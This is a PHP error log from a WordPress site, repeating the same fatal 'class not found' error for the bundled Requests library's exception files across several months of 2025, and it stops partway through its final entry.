[14-May-2025 14:33:50 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[14-May-2025 14:33:51 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[14-May-2025 14:33:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[14-May-2025 14:33:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[18-Jun-2025 16:52:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[18-Jun-2025 16:52:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[19-Jul-2025 09:14:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[19-Jul-2025 09:14:38 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[19-Jul-2025 09:15:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[08-Aug-2025 12:10:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[08-Aug-2025 12:10:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[08-Aug-2025 12:10:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[08-Aug-2025 12:10:40 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[14-Aug-2025 05:56:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-Aug-2025 05:56:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-Aug-2025 05:56:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[14-Aug-2025 05:56:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[20-Aug-2025 23:27:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[20-Aug-2025 23:27:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[20-Aug-2025 23:28:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[21-Aug-2025 20:15:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[21-Aug-2025 20:15:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[21-Aug-2025 20:16:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[22-Aug-2025 21:07:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[22-Aug-2025 21:07:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[22-Aug-2025 21:07:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[22-Aug-2025 21:07:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[26-Aug-2025 06:18:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[26-Aug-2025 06:18:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[26-Aug-2025 06:19:08 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[26-Aug-2025 06:29:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[26-Aug-2025 06:29:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[26-Aug-2025 06:29:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[27-Aug-2025 13:46:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[27-Aug-2025 13:47:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[27-Aug-2025 13:47:22 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[04-Sep-2025 00:28:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[04-Sep-2025 00:28:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[04-Sep-2025 00:29:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[04-Sep-2025 00:48:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[04-Sep-2025 00:48:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[04-Sep-2025 00:50:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[06-Sep-2025 01:49:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[06-Sep-2025 01:49:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[06-Sep-2025 01:49:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[06-Sep-2025 01:58:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[06-Sep-2025 01:58:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[06-Sep-2025 01:58:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[09-Sep-2025 17:34:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[09-Sep-2025 17:34:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[09-Sep-2025 17:34:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[09-Sep-2025 17:48:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[09-Sep-2025 17:48:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[09-Sep-2025 17:48:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[14-Sep-2025 15:02:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-Sep-2025 15:02:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[14-Sep-2025 15:02:46 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[14-Sep-2025 15:11:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[14-Sep-2025 15:11:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[14-Sep-2025 15:11:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[18-Sep-2025 16:52:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[18-Sep-2025 16:52:28 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[18-Sep-2025 16:53:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[18-Sep-2025 17:06:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[18-Sep-2025 17:06:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[18-Sep-2025 17:06:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[19-Sep-2025 06:23:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[19-Sep-2025 06:23:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[19-Sep-2025 06:24:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[19-Sep-2025 06:38:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[19-Sep-2025 06:38:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[19-Sep-2025 06:39:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[22-Sep-2025 12:30:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[22-Sep-2025 12:30:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[22-Sep-2025 12:31:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[22-Sep-2025 12:47:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[22-Sep-2025 12:47:57 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[22-Sep-2025 12:48:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[25-Sep-2025 21:51:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[25-Sep-2025 21:51:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[25-Sep-2025 21:51:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[25-Sep-2025 22:04:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[25-Sep-2025 22:04:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[25-Sep-2025 22:04:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[02-Oct-2025 10:35:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[02-Oct-2025 10:35:48 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[02-Oct-2025 10:36:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[02-Oct-2025 10:44:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[02-Oct-2025 10:44:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[02-Oct-2025 10:44:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[06-Oct-2025 13:34:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[02-Nov-2025 08:23:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php on line 20
[02-Nov-2025 08:23:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http.php on line 18
[02-Nov-2025 08:23:56 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Transport.php on line 17
[02-Nov-2025 08:33:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/ArgumentCount.php:20
Stack trace:
#0 {main}
